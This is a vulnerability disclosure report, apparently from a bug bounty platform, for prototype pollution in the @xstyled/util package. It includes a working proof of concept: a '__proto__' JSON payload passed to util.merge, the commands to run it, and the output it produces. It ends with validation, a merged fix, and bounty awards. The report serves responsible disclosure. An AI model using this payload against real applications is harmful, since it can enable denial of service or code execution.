Prototype Pollution in gregberge/xstyled


Reported on

Jun 16th 2021

✍️ Description

@xstyled/util is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

🕵️‍♂️ Proof of Concept

  1. Create the following PoC file:
// poc.js
var util = require("@xstyled/util")
var obj = {}
const payload =  JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}');
console.log("Before : " + obj.polluted);
util.merge(obj, payload);
console.log("After : " + obj.polluted);
  1. Execute the following commands in another terminal:
npm i @xstyled/util # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted

💥 Impact

This vulnerability is capable of causing Remote Code Execution and Denial of Service attacks depending upon how it is used.


ready-research submitted a
5 months ago
Greg Bergé validated this vulnerability 3 months ago
ready-research has been awarded the disclosure bounty
The fix bounty is now up for grabs
Greg Bergé confirmed that a fix has been merged on 34ed14 3 months ago
ready-research has been awarded the fix bounty